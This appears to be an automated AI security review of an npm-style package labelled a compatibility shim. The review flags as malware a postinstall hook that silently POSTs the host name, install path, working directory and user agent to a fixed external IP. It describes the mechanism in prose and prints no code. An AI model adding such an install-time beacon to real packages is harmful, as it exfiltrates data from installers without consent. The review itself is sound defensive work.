Compatibility shim.
AI Security Review
scanned 9d ago · by lpm-firewall-aiThe postinstall hook automatically discloses host and installation metadata to a fixed external endpoint. This is a concrete installation beacon, so the package should be blocked.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Installing the package runs its postinstall hook.
Impact
The endpoint receives identifying host and installation metadata without installer consent.
Mechanism
The hook runs the beacon, which builds a payload from local machine and installation details and sends it in an HTTP POST request.
Attack narrative
During installation, the package runs a postinstall beacon that sends the host name, install path, working directory, and npm user agent to a fixed external IP. The source shows no consent gate for this disclosure.
AI rationale
The postinstall hook automatically discloses host and installation metadata to a fixed external endpoint. This is a concrete installation beacon, so the package should be blocked.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs the beacon automatically during postinstall.
- The beacon sends a POST request to a fixed external IP address.
- The request payload includes the machine hostname, install path, working directory, and npm user agent.
- The beacon sends the payload when run as the main module, matching the postinstall command.
